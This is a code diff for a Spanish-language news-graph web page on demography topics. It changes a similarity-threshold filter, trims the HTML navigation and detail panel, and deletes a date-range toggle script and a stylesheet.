const paramsObj = {
|
||||||
subtematica: document.getElementById('param2').value,
|
subtematica,
|
||||||
palabraClave: document.getElementById('param1').value,
|
palabraClave,
|
||||||
fechaInicio: document.getElementById('fecha_inicio').value,
|
fechaInicio,
|
||||||
fechaFin: document.getElementById('fecha_fin').value,
|
fechaFin,
|
||||||
nodos: document.getElementById('nodos').value,
|
nodos,
|
||||||
complejidad: document.getElementById('complejidad').value,
|
complejidad // enviado al backend y usado de umbral en cliente
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Parsear complejidad a número
|
||||||
|
const umbralPct = parseFloat(complejidad) || 0;
|
||||||
|
console.log(`Aplicando umbral de similitud: ${umbralPct}%`);
|
||||||
|
|
||||||
const graphData = await getData(paramsObj);
|
const graphData = await getData(paramsObj);
|
||||||
if (!graphData) return;
|
if (!graphData) return;
|
||||||
lastGraphData = graphData;
|
|
||||||
graph.graphData({ nodes: graphData.nodes, links: graphData.links });
|
// Filtrar enlaces por umbral de similitud
|
||||||
|
let filteredLinks = graphData.links;
|
||||||
|
if (umbralPct > 0) {
|
||||||
|
filteredLinks = filteredLinks.filter(link => Number(link.value) >= umbralPct);
|
||||||
|
console.log(`Enlaces tras aplicar umbral: ${filteredLinks.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
graph.graphData({ nodes: graphData.nodes, links: filteredLinks });
|
||||||
centerGraph();
|
centerGraph();
|
||||||
}
|
}
|
||||||
|
|
||||||
form.addEventListener('submit', event => { event.preventDefault(); fetchAndRender(); });
|
// Escuchar evento submit del formulario
|
||||||
|
form.addEventListener('submit', event => {
|
||||||
|
event.preventDefault();
|
||||||
fetchAndRender();
|
fetchAndRender();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Cargar gráfico inicial
|
||||||
|
fetchAndRender();
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -176,29 +180,6 @@ nav {
|
||||||
background: #ff6600;
|
background: #ff6600;
|
||||||
}
|
}
|
||||||
|
|
||||||
#sidebar select {
|
|
||||||
padding: 10px;
|
|
||||||
border: 2px solid #39ff14;
|
|
||||||
background: black;
|
|
||||||
color: #39ff14;
|
|
||||||
border-radius: 5px;
|
|
||||||
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
|
|
||||||
transition: box-shadow 0.3s ease;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.85em;
|
|
||||||
}
|
|
||||||
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
|
|
||||||
#sidebar select option { background: #0a0a0a; color: #39ff14; }
|
|
||||||
#sidebar .sim-val {
|
|
||||||
font-weight: bold;
|
|
||||||
color: #fff;
|
|
||||||
background: rgba(57,255,20,0.15);
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 0 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
footer {
|
footer {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
background-color: #000000;
|
background-color: #000000;
|
||||||
|
|
@ -236,54 +217,3 @@ footer p {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
left: 250px;
|
left: 250px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/* ===== Panel de detalle (split-screen) ===== */
|
|
||||||
main.split-screen { display: flex; height: 100vh; }
|
|
||||||
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
|
|
||||||
#detailPanel {
|
|
||||||
width: 0; max-width: 0; overflow: hidden;
|
|
||||||
transition: width 0.3s ease, max-width 0.3s ease;
|
|
||||||
background: #0a0a0a; color: #fff;
|
|
||||||
position: relative; z-index: 4;
|
|
||||||
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
|
|
||||||
|
|
||||||
#closeDetail {
|
|
||||||
position: absolute; top: 12px; left: 12px;
|
|
||||||
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
|
|
||||||
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
|
|
||||||
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
|
|
||||||
transition: background 0.2s;
|
|
||||||
}
|
|
||||||
#closeDetail:hover { background: rgba(57,255,20,0.15); }
|
|
||||||
|
|
||||||
#detailContent {
|
|
||||||
padding: 52px 18px 20px; overflow-y: auto;
|
|
||||||
height: 100%; box-sizing: border-box;
|
|
||||||
display: none; flex-direction: column;
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailContent { display: flex; }
|
|
||||||
|
|
||||||
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
|
|
||||||
.detail-author { font-weight: bold; }
|
|
||||||
.detail-date { text-align: right; white-space: nowrap; }
|
|
||||||
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
|
|
||||||
|
|
||||||
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
|
|
||||||
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
|
|
||||||
.relations-nav { display: flex; align-items: center; gap: 6px; }
|
|
||||||
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
|
|
||||||
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
|
|
||||||
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
|
|
||||||
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
|
|
||||||
|
|
||||||
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
|
|
||||||
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
|
|
||||||
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
main.split-screen.show-detail #graphPanel { display: none; }
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
|
|
||||||
}
|
|
||||||
|
|
|
||||||
|
|
@ -4,7 +4,6 @@
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<title>Demografía y Sociedad</title>
|
<title>Demografía y Sociedad</title>
|
||||||
<link rel="stylesheet" href="popl-up.css">
|
<link rel="stylesheet" href="popl-up.css">
|
||||||
<link rel="stylesheet" href="sub-nav.css">
|
|
||||||
|
|
||||||
<!-- Fuentes -->
|
<!-- Fuentes -->
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
|
@ -13,79 +12,21 @@
|
||||||
|
|
||||||
<!-- Librerías necesarias -->
|
<!-- Librerías necesarias -->
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||||
<script type="importmap">
|
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||||
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
|
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<!-- Navegación -->
|
<!-- Navegación -->
|
||||||
<nav class="top-nav">
|
<nav>
|
||||||
<div class="section-buttons">
|
<ul class="nav-links">
|
||||||
|
<li><a href="popl-up.html" class="popl-up">Demografía y Sociedad</a></li>
|
||||||
<div class="section-item">
|
</ul>
|
||||||
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item current">
|
|
||||||
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP <span class="dropdown-arrow">▾</span></a>
|
|
||||||
<div class="section-dropdown">
|
|
||||||
<a href="#" onclick="setSubtema('sobrepoblación');return false;">Sobrepoblación</a>
|
|
||||||
<a href="#" onclick="setSubtema('enfermedades');return false;">COVID / Enfermedades</a>
|
|
||||||
<a href="#" onclick="setSubtema('migraciones');return false;">Migraciones</a>
|
|
||||||
<a href="#" onclick="setSubtema('urbanización');return false;">Urbanización</a>
|
|
||||||
<a href="#" onclick="setSubtema('distribucion_edad');return false;">Despoblación Rural</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<script>
|
|
||||||
function setSubtema(val) {
|
|
||||||
var sel = document.getElementById('param2');
|
|
||||||
if (sel) { sel.value = val; }
|
|
||||||
var form = document.getElementById('paramForm');
|
|
||||||
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
/* ── Dropdown touch (móvil) ── */
|
|
||||||
var curr = document.querySelector('.section-item.current');
|
|
||||||
if (curr) {
|
|
||||||
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
curr.classList.toggle('open');
|
|
||||||
});
|
|
||||||
document.addEventListener('touchend', function(e) {
|
|
||||||
if (!curr.contains(e.target)) curr.classList.remove('open');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
/* ── Sidebar: botón toggle visible en móvil ── */
|
|
||||||
var toggle = document.getElementById('sidebarToggle');
|
|
||||||
var sidebar = document.getElementById('sidebar');
|
|
||||||
if (toggle && sidebar) {
|
|
||||||
toggle.style.display = 'block';
|
|
||||||
toggle.addEventListener('click', function() {
|
|
||||||
sidebar.classList.toggle('active');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<!-- Contenedor principal -->
|
<!-- Contenedor principal -->
|
||||||
<main class="split-screen">
|
<main>
|
||||||
<div id="graphPanel" style="position:relative;">
|
|
||||||
<button id="volverGrafoBtn">← Volver al grafo completo</button>
|
|
||||||
<div id="poplUpContainer" style="position: absolute; width: 100%; height: 100%; z-index: 0;"></div>
|
<div id="poplUpContainer" style="position: absolute; width: 100%; height: 100%; z-index: 0;"></div>
|
||||||
|
|
||||||
<!-- Fondo animado -->
|
<!-- Fondo animado -->
|
||||||
<div class="background">
|
<div class="background">
|
||||||
<img src="/images/flujos3.jpg">
|
<img src="/images/flujos3.jpg">
|
||||||
|
|
@ -94,6 +35,7 @@
|
||||||
<img src="/images/flujos3.jpg">
|
<img src="/images/flujos3.jpg">
|
||||||
<img src="/images/flujos3.jpg">
|
<img src="/images/flujos3.jpg">
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
const fondo = document.querySelector('.background');
|
const fondo = document.querySelector('.background');
|
||||||
|
|
@ -101,26 +43,6 @@
|
||||||
fondo.style.pointerEvents = 'none';
|
fondo.style.pointerEvents = 'none';
|
||||||
}, 1000);
|
}, 1000);
|
||||||
</script>
|
</script>
|
||||||
</div>
|
|
||||||
<div id="detailPanel">
|
|
||||||
<button id="closeDetail">✕ cerrar</button>
|
|
||||||
<div id="detailContent">
|
|
||||||
<div class="detail-meta">
|
|
||||||
<span class="detail-author"></span>
|
|
||||||
<span class="detail-date"></span>
|
|
||||||
</div>
|
|
||||||
<h2 class="detail-title"></h2>
|
|
||||||
<div class="detail-relations">
|
|
||||||
<span class="relations-count"></span>
|
|
||||||
<div class="relations-nav">
|
|
||||||
<button id="prevRelation" disabled>← ant</button>
|
|
||||||
<span id="relationLabel"></span>
|
|
||||||
<button id="nextRelation" disabled>sig →</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="detail-body"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<!-- Barra lateral de filtros -->
|
<!-- Barra lateral de filtros -->
|
||||||
|
|
@ -134,23 +56,16 @@
|
||||||
<input type="date" id="fecha_fin" name="fecha_fin">
|
<input type="date" id="fecha_fin" name="fecha_fin">
|
||||||
|
|
||||||
<label for="nodos">Nodos:</label>
|
<label for="nodos">Nodos:</label>
|
||||||
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500">
|
<input type="number" id="nodos" name="nodos" value="100">
|
||||||
|
|
||||||
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label>
|
<label for="complejidad">Complejidad:</label>
|
||||||
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8"
|
<input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
|
||||||
oninput="document.getElementById('complejidadVal').textContent = this.value">
|
|
||||||
|
|
||||||
<label for="param1">Palabra clave:</label>
|
<label for="param1">Búsqueda por palabra:</label>
|
||||||
<input type="text" id="param1" name="param1" placeholder="ej: migración, pandemia...">
|
<input type="text" id="param1" name="param1">
|
||||||
|
|
||||||
<label for="param2">Subtematica:</label>
|
<label for="param2">Búsqueda por temática personalizada:</label>
|
||||||
<select id="param2" name="param2">
|
<input type="text" id="param2" name="param2">
|
||||||
<option value="">— Todas —</option>
|
|
||||||
<option value="enfermedades">enfermedades</option>
|
|
||||||
<option value="urbanización">urbanización</option>
|
|
||||||
<option value="migraciones">migraciones</option>
|
|
||||||
<option value="sobrepoblación">sobrepoblación</option>
|
|
||||||
</select>
|
|
||||||
|
|
||||||
<input type="submit" value="Aplicar">
|
<input type="submit" value="Aplicar">
|
||||||
</form>
|
</form>
|
||||||
|
|
@ -159,8 +74,17 @@
|
||||||
<!-- Botón para colapsar la barra -->
|
<!-- Botón para colapsar la barra -->
|
||||||
<button id="sidebarToggle">Toggle Sidebar</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
|
<!-- Footer -->
|
||||||
|
<footer>
|
||||||
|
<p>
|
||||||
|
<a href="#">GitHub</a> |
|
||||||
|
<a href="#">Telegram</a> |
|
||||||
|
<a href="#">Email</a> |
|
||||||
|
<a href="#">Web de Tor</a>
|
||||||
|
</p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
<!-- Script principal -->
|
<!-- Script principal -->
|
||||||
<script src="semana-toggle.js"></script>
|
<script src="output_popl_up_pruebas.js"></script>
|
||||||
<script type="module" src="output_popl_up_pruebas.js"></script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -38,17 +38,16 @@
|
||||||
cubeContainer.style.top = position.y + 'px';
|
cubeContainer.style.top = position.y + 'px';
|
||||||
cubeContainer.style.left = position.x + 'px';
|
cubeContainer.style.left = position.x + 'px';
|
||||||
|
|
||||||
const cube = document.createElement('div');
|
cubeContainer.innerHTML = `
|
||||||
cube.className = 'cube';
|
<div class="cube">
|
||||||
[['front', `País ${i+1}`], ['back', `Detalle ${i+1}`],
|
<div class="face front">País ${i+1}</div>
|
||||||
['left', `Año ${2010 + i}`], ['right', `Muertos ${(i+1)*1000}`],
|
<div class="face back">Detalle ${i+1}</div>
|
||||||
['top', 'ONU'], ['bottom', 'Fuente']].forEach(([cls, txt]) => {
|
<div class="face left">Año ${2010 + i}</div>
|
||||||
const face = document.createElement('div');
|
<div class="face right">Muertos ${(i+1)*1000}</div>
|
||||||
face.className = `face ${cls}`;
|
<div class="face top">ONU</div>
|
||||||
face.textContent = txt;
|
<div class="face bottom">Fuente</div>
|
||||||
cube.appendChild(face);
|
</div>
|
||||||
});
|
`;
|
||||||
cubeContainer.appendChild(cube);
|
|
||||||
|
|
||||||
cubePositions.push({x: position.x + 35, y: position.y + 35}); // Ajustar al centro del cubo
|
cubePositions.push({x: position.x + 35, y: position.y + 35}); // Ajustar al centro del cubo
|
||||||
graphContainer.appendChild(cubeContainer);
|
graphContainer.appendChild(cubeContainer);
|
||||||
|
|
|
||||||
|
|
@ -1,56 +0,0 @@
|
||||||
/* Filtro temporal compartido para las vistas de grafo (climate, glob-war, ...).
|
|
||||||
- "Semanal" (por defecto): fecha_inicio = hace 7 dias, fecha_fin = hoy.
|
|
||||||
- "Todas": limpia el rango; el backend devuelve una muestra aleatoria de todo
|
|
||||||
el archivo, incluidas las noticias sin fecha (`fecha: null`).
|
|
||||||
El backend aplica el rango SOLO a `noticias` (wikipedia/torrents no tienen
|
|
||||||
fecha), asi que las conexiones noticia<->leak del grafo se mantienen.
|
|
||||||
Se ejecuta al final del body (form y top-nav ya existen) y ANTES del modulo
|
|
||||||
del grafo, para que el primer fetchAndRender ya salga en modo semanal. */
|
|
||||||
(function () {
|
|
||||||
var fi = document.getElementById('fecha_inicio');
|
|
||||||
var ff = document.getElementById('fecha_fin');
|
|
||||||
// Fecha LOCAL, no UTC: toISOString() convierte a UTC y en CEST (+2) entre las
|
|
||||||
// 00:00 y las 02:00 devolvia la fecha de ayer, desplazando toda la ventana.
|
|
||||||
function iso(d) {
|
|
||||||
return d.getFullYear() + '-' +
|
|
||||||
String(d.getMonth() + 1).padStart(2, '0') + '-' +
|
|
||||||
String(d.getDate()).padStart(2, '0');
|
|
||||||
}
|
|
||||||
function setRango(dias) {
|
|
||||||
if (!fi || !ff) return;
|
|
||||||
if (dias === null) { fi.value = ''; ff.value = ''; return; }
|
|
||||||
var hoy = new Date(), desde = new Date();
|
|
||||||
desde.setDate(hoy.getDate() - dias);
|
|
||||||
fi.value = iso(desde); ff.value = iso(hoy);
|
|
||||||
}
|
|
||||||
function marcar(a) {
|
|
||||||
var s = document.getElementById('btnSemanal'), t = document.getElementById('btnTodas');
|
|
||||||
if (s) s.classList.toggle('active', a === 'semanal');
|
|
||||||
if (t) t.classList.toggle('active', a === 'todas');
|
|
||||||
}
|
|
||||||
function submit() {
|
|
||||||
var f = document.getElementById('paramForm');
|
|
||||||
if (f) f.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
|
|
||||||
// 1) Semanal por defecto (fechas puestas antes del primer fetch del grafo)
|
|
||||||
setRango(7);
|
|
||||||
|
|
||||||
// 2) Botones arriba a la derecha, dentro de la top-nav
|
|
||||||
var nav = document.querySelector('.top-nav');
|
|
||||||
if (nav && !document.getElementById('rangoBtns')) {
|
|
||||||
var box = document.createElement('div');
|
|
||||||
box.id = 'rangoBtns';
|
|
||||||
box.className = 'rango-btns';
|
|
||||||
box.innerHTML =
|
|
||||||
'<button type="button" id="btnSemanal" class="rango-btn active">Semanal</button>' +
|
|
||||||
'<button type="button" id="btnTodas" class="rango-btn">Todas</button>';
|
|
||||||
nav.appendChild(box);
|
|
||||||
document.getElementById('btnSemanal').addEventListener('click', function () {
|
|
||||||
setRango(7); marcar('semanal'); submit();
|
|
||||||
});
|
|
||||||
document.getElementById('btnTodas').addEventListener('click', function () {
|
|
||||||
setRango(null); marcar('todas'); submit();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
|
|
@ -1,429 +0,0 @@
|
||||||
* {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
|
|
||||||
body {
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
background: #000;
|
|
||||||
color: #39ff14;
|
|
||||||
min-height: 100vh;
|
|
||||||
overflow-x: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Scanline overlay */
|
|
||||||
.scanlines {
|
|
||||||
pointer-events: none;
|
|
||||||
position: fixed;
|
|
||||||
inset: 0;
|
|
||||||
z-index: 9999;
|
|
||||||
background: repeating-linear-gradient(
|
|
||||||
to bottom,
|
|
||||||
transparent 0px,
|
|
||||||
transparent 3px,
|
|
||||||
rgba(0, 0, 0, 0.18) 3px,
|
|
||||||
rgba(0, 0, 0, 0.18) 4px
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── HEADER ──────────────────────────────────────────────────── */
|
|
||||||
header {
|
|
||||||
padding: 20px 30px 10px;
|
|
||||||
border-bottom: 1px solid #39ff1430;
|
|
||||||
background: #000;
|
|
||||||
}
|
|
||||||
|
|
||||||
.header-content {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 20px;
|
|
||||||
max-width: 1400px;
|
|
||||||
margin: 0 auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.back-btn {
|
|
||||||
color: #39ff14;
|
|
||||||
text-decoration: none;
|
|
||||||
font-size: 0.85rem;
|
|
||||||
border: 1px solid #39ff1460;
|
|
||||||
padding: 6px 14px;
|
|
||||||
border-radius: 20px;
|
|
||||||
transition: all 0.2s;
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
.back-btn:hover {
|
|
||||||
background: #39ff14;
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
|
|
||||||
.title {
|
|
||||||
font-family: 'Nosifer', cursive;
|
|
||||||
color: #fff;
|
|
||||||
font-size: 2.8rem;
|
|
||||||
line-height: 1;
|
|
||||||
text-shadow: 0 0 20px #39ff1466;
|
|
||||||
}
|
|
||||||
|
|
||||||
.subtitle {
|
|
||||||
font-size: 1rem;
|
|
||||||
color: #39ff1499;
|
|
||||||
letter-spacing: 0.15em;
|
|
||||||
}
|
|
||||||
|
|
||||||
.computed-at {
|
|
||||||
font-size: 0.6rem;
|
|
||||||
color: #39ff1444;
|
|
||||||
letter-spacing: 0.12em;
|
|
||||||
margin-left: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── MAIN ────────────────────────────────────────────────────── */
|
|
||||||
main {
|
|
||||||
max-width: 1400px;
|
|
||||||
margin: 0 auto;
|
|
||||||
padding: 30px 20px 80px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── SECTION ─────────────────────────────────────────────────── */
|
|
||||||
.section {
|
|
||||||
margin-bottom: 48px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.section-title {
|
|
||||||
font-size: 0.75rem;
|
|
||||||
letter-spacing: 0.22em;
|
|
||||||
color: #39ff14cc;
|
|
||||||
text-transform: uppercase;
|
|
||||||
margin-bottom: 20px;
|
|
||||||
border-left: 3px solid #39ff14;
|
|
||||||
padding-left: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.title-sub {
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 1.2rem;
|
|
||||||
color: #39ff1499;
|
|
||||||
font-weight: 400;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── TOTALES GRID ────────────────────────────────────────────── */
|
|
||||||
.totales-grid {
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: repeat(3, 1fr);
|
|
||||||
gap: 16px;
|
|
||||||
margin-bottom: 36px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-card {
|
|
||||||
border: 1px solid #39ff1440;
|
|
||||||
background: #050505;
|
|
||||||
padding: 20px 18px 14px;
|
|
||||||
position: relative;
|
|
||||||
overflow: hidden;
|
|
||||||
transition: border-color 0.3s, box-shadow 0.3s;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-card::before {
|
|
||||||
content: '';
|
|
||||||
position: absolute;
|
|
||||||
top: 0; left: 0;
|
|
||||||
width: 3px; height: 100%;
|
|
||||||
background: var(--accent, #39ff14);
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-card:hover {
|
|
||||||
border-color: #39ff1488;
|
|
||||||
box-shadow: 0 0 20px #39ff1420;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-label {
|
|
||||||
font-size: 0.65rem;
|
|
||||||
letter-spacing: 0.12em;
|
|
||||||
color: #39ff1499;
|
|
||||||
margin-bottom: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-value {
|
|
||||||
font-size: 2.2rem;
|
|
||||||
font-weight: 700;
|
|
||||||
color: #fff;
|
|
||||||
text-shadow: 0 0 12px currentColor;
|
|
||||||
line-height: 1;
|
|
||||||
margin-bottom: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-bar {
|
|
||||||
height: 2px;
|
|
||||||
background: #111;
|
|
||||||
border-radius: 1px;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-bar-fill {
|
|
||||||
height: 100%;
|
|
||||||
width: 100%;
|
|
||||||
opacity: 0.7;
|
|
||||||
animation: barPulse 3s ease-in-out infinite alternate;
|
|
||||||
}
|
|
||||||
|
|
||||||
.stat-sub {
|
|
||||||
font-size: 0.62rem;
|
|
||||||
color: #39ff1466;
|
|
||||||
letter-spacing: 0.08em;
|
|
||||||
margin-top: 6px;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes barPulse {
|
|
||||||
from { opacity: 0.4; }
|
|
||||||
to { opacity: 1; }
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── CHARTS ROW ──────────────────────────────────────────────── */
|
|
||||||
.charts-row {
|
|
||||||
display: flex;
|
|
||||||
gap: 20px;
|
|
||||||
align-items: flex-start;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
.charts-row--center {
|
|
||||||
justify-content: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── CHARTS (legacy + new) ───────────────────────────────────── */
|
|
||||||
.charts-section {
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: 1fr 1fr;
|
|
||||||
gap: 20px;
|
|
||||||
margin-bottom: 20px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.chart-box {
|
|
||||||
border: 1px solid #39ff1430;
|
|
||||||
background: #050505;
|
|
||||||
padding: 24px 20px 20px;
|
|
||||||
position: relative;
|
|
||||||
flex: 1;
|
|
||||||
min-width: 260px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.chart-box--wide {
|
|
||||||
grid-column: 1 / -1;
|
|
||||||
flex: 0 0 100%;
|
|
||||||
}
|
|
||||||
|
|
||||||
.chart-box--sm {
|
|
||||||
flex: 0 0 240px;
|
|
||||||
min-width: 200px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.chart-box--md {
|
|
||||||
flex: 1;
|
|
||||||
min-width: 300px;
|
|
||||||
max-width: 500px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── COMP CARDS ──────────────────────────────────────────────── */
|
|
||||||
.comp-grid {
|
|
||||||
display: grid;
|
|
||||||
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
|
|
||||||
gap: 16px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-card {
|
|
||||||
border: 1px solid var(--c, #39ff14);
|
|
||||||
background: #050505;
|
|
||||||
padding: 18px 16px 14px;
|
|
||||||
position: relative;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-card::before {
|
|
||||||
content: '';
|
|
||||||
position: absolute;
|
|
||||||
top: 0; left: 0;
|
|
||||||
width: 3px; height: 100%;
|
|
||||||
background: var(--c, #39ff14);
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-card-header {
|
|
||||||
font-size: 0.78rem;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 0.16em;
|
|
||||||
text-transform: uppercase;
|
|
||||||
margin-bottom: 14px;
|
|
||||||
padding-left: 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-row {
|
|
||||||
display: flex;
|
|
||||||
justify-content: space-between;
|
|
||||||
align-items: center;
|
|
||||||
font-size: 0.7rem;
|
|
||||||
padding: 4px 4px;
|
|
||||||
border-bottom: 1px solid #39ff1410;
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-row span {
|
|
||||||
color: #39ff1499;
|
|
||||||
letter-spacing: 0.05em;
|
|
||||||
}
|
|
||||||
|
|
||||||
.comp-row strong {
|
|
||||||
color: #fff;
|
|
||||||
font-size: 0.82rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.sim-bar {
|
|
||||||
height: 3px;
|
|
||||||
background: #111;
|
|
